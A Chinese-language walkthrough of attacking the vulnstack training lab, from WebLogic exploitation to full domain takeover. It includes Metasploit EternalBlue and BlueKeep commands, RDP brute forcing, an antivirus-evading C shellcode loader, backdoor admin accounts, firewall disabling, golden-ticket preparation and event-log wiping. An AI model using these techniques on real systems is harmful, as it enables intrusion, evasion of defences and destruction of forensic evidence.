靶场搭建

靶场下载

下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
账户:administrator
密码:1qaz@WSX

下载完成后分别为WEB和PC机器添加一块外网网卡,NAT模式

网络拓扑

win11

IP:192.168.73.1
网关:192.168.73.2

Kali

IP:192.168.73.128
网关:192.168.73.2

WEB(server2008)

外网:192.168.73.137
网关:192.168.73.2

内网:10.10.10.80
网关:10.10.10.1

DC(server2012)

内网:10.10.10.10
网关:10.10.10.1

PC(windows7)

外网:192.168.73.136
网关:192.168.73.2

内网:10.10.10.201
网关:10.10.10.1

开启Web服务

进入WBE服务器到C:\Oracle\Middleware\user_projects\domains\base_domain\bin,使用管理员权限依次运行脚本
1、setDomainEnv.cmd
2、startManagedWebLogic.cmd
3、startWebLogic.cmd

信息收集

端口扫描

nmap -sP 192.168.73.0/24
//使用nmap扫描73网段存活主机

其中192.168.73.137为目标web服务器,对web服务器进行端口扫描

nmap -sS -sV -Pn 192.168.73.137
-sS TCP SYN扫描
-sV 探测开放端口的服务版本
-Pn 不使用ICMP包进行扫描

扫描出开放的端口、MAC地址、系统版本信息

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 16:53 CST
Nmap scan report for 192.168.73.137
Host is up (0.00062s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
80/tcp    open  http           Microsoft IIS httpd 7.5
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp  open  ms-sql-s       Microsoft SQL Server 2008 R2 10.50.4000; SP2
3389/tcp  open  ms-wbt-server?
7001/tcp  open  http           Oracle WebLogic Server (Servlet 2.5; JSP 2.1)
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
MAC Address: 00:0C:29:68:D3:73 (VMware)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.55 seconds

端口渗透思路

80 IIS目录遍历、缓冲区溢出、文件解析漏洞、iIIS put漏洞
135 MS08-067
139/445 永恒之蓝、NetBIOS信息泄露、SMB中间人攻击
1433 SQL注入、弱口令
3389 密码爆破、CVE-2019-0708
7001 WebLogic反序列化、未授权访问
49152-49154 MS08-067

目录扫描

针对80,7001端口进行目录扫描

python .\dirsearch.py -u "http://192.168.73.137/"

python .\dirsearch.py -u "http://192.168.73.137:7001/"

7001端口扫出了一个WebLogic登录页面

访问发现其版本为10.3.6.0,有很大的可能存在历史漏洞

漏洞利用

最终目标是获取权限,所以首先测试那些能够直接一步到位获取shell的漏洞

135端口渗透

135端口开放的MSRPC服务可能存在DCOM RPC漏洞(MS08-067)

MS08-067的漏洞影响范围

  • Windows 2000
    Windows XP
    Windows Server 2003

    因为在前期扫描端口的过程中探测到目标服务器版本为Windows Server 2008,微软已经修复了该版本的漏洞。

139/445端口渗透

139/445端口可能存在永恒之蓝漏洞(MS17-010)

漏洞影响范围

Windows XP、 Windows Server 2003. Windows Vista、Windows Server 2008、 Windows 7. Windows Server2008 R2、Windows 8.1、Windows Server 2012. Windows10、Windows Server 2012 R2、Windows Server 2016

显然Windows Server 2008是包含在内的,可以尝试使用MSF打一波永恒之蓝

msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.73.137
exploit

这里提示是存在永恒之蓝漏洞的,进一步进行利用

use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.73.137
exploit

漏洞存在,但是获取不到shell,猜测可能是目标装了防护软件

果然,WEB服务器上部署了杀毒软件某60

3389端口渗透(CVE-2019-0708)

CVE-2019-0708是微软于2019年05月14日发布的一个严重的RDP远程代码执行漏洞。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。
2019年09月07日,@rapid7 在其metasploit-framework仓库公开发布了CVE-2019-0708的利用模块,漏洞利用工具已经开始扩散,已经构成了蠕虫级的攻击威胁。

漏洞影响范围

Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
Windows 8和Windows 10及之后版本的用户不受此漏洞影响

漏洞利用

search 0708
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set rhosts 192.168.73.137
show options
exploit

扫描出系统是存在该漏洞的,尝试利用

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.73.137
show targets
set target 1
run

执行exp后发现目标主机蓝屏了,将WEB服务器重启后再次进行getshell

msfconsole
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.73.137
show targets
set target 1
run

打了几次payload下来仍然获得不了shell,果断放弃

尝试爆破3389

后台放一个hydra静默去爆破RDP服务

hydra 192.168.73.137 rdp -l Administrator -P /root/Desktop/passwd-CN-Top10000.txt -V -F

7001端口渗透(WebLogic)

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。
Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的Java EE应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。

常见漏洞总结

  • 1、任意文件上传漏洞(CVE-2018-2894)

    影响范围

    10.3.6,12.1.3,12.2.1.2,12.2.1.3

  • 2、XMLDecoder反序列化漏洞(CVE-2017-10271)

    影响范围

    10.3.6.0,12.1.3.0.0,12.2.1.1.0

  • 3、反序列化漏洞(CVE-2018-2628)

    影响范围

    10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

  • 4、未授权命令执行漏洞(CVE-2020-14882)

    影响范围

    10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

  • 5、Weblogic CVE-2020-2555

    影响范围

    Oracle Coherence 3.7.1.17
    Oracle Coherence & Weblogic 12.1.3.0.0、12.2.1.3.0、2.2.1.4.0

  • 6、弱口令登录

    弱口令组合

    system:password
    weblogic:weblogic
    admin:secruity
    joe:password
    mary:password
    system:sercurity
    wlcsystem: wlcsystem
    weblogic:Oracle@123

漏洞扫描

WeblogicScanner

工具下载地址:https://github.com/0xn0ne/weblogicScanner
python ws.py -t 192.168.73.137

漏洞利用

WeblogicTool

工具下载地址:
https://github.com/KimJun1010/WeblogicTool/
java8 -jar .\WeblogicTool_1.3.jar

可以执行系统命令,注入内存马,哥斯拉连接上去

tasklist /svc           //查看系统进程

发现目标主机上是安装了某60的,目前是管理员权限、有两种绕过的思路,第一种就是自写免杀shellcode,第二种就是远程桌面连上去手动关闭某60,因为在前期信息收集过程中收集到3389端口是开放的,为了节省时间,这里我先选择第二种方式,但是在实际的红队项目中,手动关闭杀软是一种高危操作,很容易被检测设备或者蓝队人员发现。

net user canxue 2005.com /add
net localgroup Administrators canxue /add

命令打上去之后没有反应,估计又被杀软拦截了。

果然操作直接被ban了,只好自写免杀shellcode

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char shellcode[] = "异或编码后的shellcode";
unsigned SC_len = sizeof(shellcode);

//VirtualAllo动态调用
typedef LPVOID
(*WINAPI
    VirtualAllocFunc)(
        _In_opt_ LPVOID lpAddress,
        _In_ SIZE_T dwSize,
        _In_ DWORD flAllocationType,
        _In_ DWORD flProtect
        );
unsigned char T4MXJ[] = { 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63,  0x00 };

HMODULE hKernel32 = LoadLibraryA((LPCSTR)"Kernel32.dll");
VirtualAllocFunc pVirtualAlloc = (VirtualAllocFunc)GetProcAddress(hKernel32, (LPCSTR)T4MXJ);


//VirtualProtect动态调用
typedef BOOL
(*WINAPI
    VirtualProtectFunc)(
        _In_  LPVOID lpAddress,
        _In_  SIZE_T dwSize,
        _In_  DWORD flNewProtect,
        _Out_ PDWORD lpflOldProtect
        );
unsigned char bZGQE[] = { 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74,  0x00 };

VirtualProtectFunc pVirtualProtect = (VirtualProtectFunc)GetProcAddress(hKernel32, (LPCSTR)bZGQE);

//CreateThread动态调用
typedef HANDLE
(*WINAPI
    CreateThreadFunc)(
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ SIZE_T dwStackSize,
        _In_ LPTHREAD_START_ROUTINE lpStartAddress,
        _In_opt_ __drv_aliasesMem LPVOID lpParameter,
        _In_ DWORD dwCreationFlags,
        _Out_opt_ LPDWORD lpThreadId
        );
unsigned char ovcnw[] = { 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64,  0x00 };

CreateThreadFunc pCreateThread = (CreateThreadFunc)GetProcAddress(hKernel32, (LPCSTR)ovcnw);

int main(int argc,char* argv[]) {
    int xo = atoi(argv[1]);
    printf("%d\n", xo);
    for (int i = 0; i < SC_len; i++) {
        shellcode[i] ^= xo;//异或解码
        //printf("\\x%x", shellcode[i]);
    }

    void* exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    exec_mem = pVirtualAlloc(0, SC_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    RtlMoveMemory(exec_mem, shellcode, SC_len);
    rv = pVirtualProtect(exec_mem, SC_len, PAGE_EXECUTE_READ, &oldprotect);
    if (rv != 0)
    {
        th = pCreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);//创建线程
        WaitForSingleObject(th, -1);
    }
    return 0;
}

把免杀的shellcode上传到目标机器上

趁着木马还没有被AI引擎和云沙箱发现,赶紧上线

添加一个管理员账户

shell net user canxue 2005.com /add
shell net localgroup Administrators canxue /add

远程桌面连接上去

canxue
2005.com

连接上去后立刻把360退出,把shellcode复制上去执行,上线canxue这个账户。

权限提升

svc提权

使用CS自带的svc提权

可以直接获取system权限。

关闭防火墙

shell netsh advfirewall show all state            //查看防火墙状态
shell netsh advfirewall set allprofile state off  //关闭防火墙

域渗透

信息收集

查看是否存在域环境

shell ipconfig /all

发现da1ay.com域

查看用户组

shell net localgroup

这里获取不到用户组信息

shell net view /domain

仍然是报错

查看域控

shell net group "domain controllers" /domain

域控机器为DC

查看域环境其他成员

域内成员为DC(域控),PC,WEB(当前控制的主机)

端口扫描

使用CS自带的端口扫描

成功把域内的其他主机扫描出来了

DC  10.10.10.10     开放端口135 139 88 53 3389 445
PC  10.10.10.201    开放端口135 139 3389 445

查看域内所有用户

shell net user /domain

查看域管理员

shell net group "domain admins" /domain

抓取明文密码

横向移动

通过内网信息收集工作,发现DC和PC都开放了445端口

创建smb监听器

psexec横向移动

使用psexec和抓取到的明文密码横向移动

成功拿下域控主机

按照同样的方法,横向渗透PC主机

到此为止,已经成功拿下整个域环境

权限维持

hashdump

从DC中使用hashdump获得krbtgt的hash值,krbtgt用户是域中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户。

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::

获取SID

shell wmic useraccount get uid

S-1-5-21-2756371121-2868759905-3853650604-1001

制作黄金票据

访问C盘

shell dir \\10.10.10.10\c$

痕迹清除

shell wevtutil el 列出系统中所有日志名称
shell wevtutil cl system 清理系统日志
shell wevtutil cl application 清理应用程序日志
shell wevtutil cl security 清理安全日志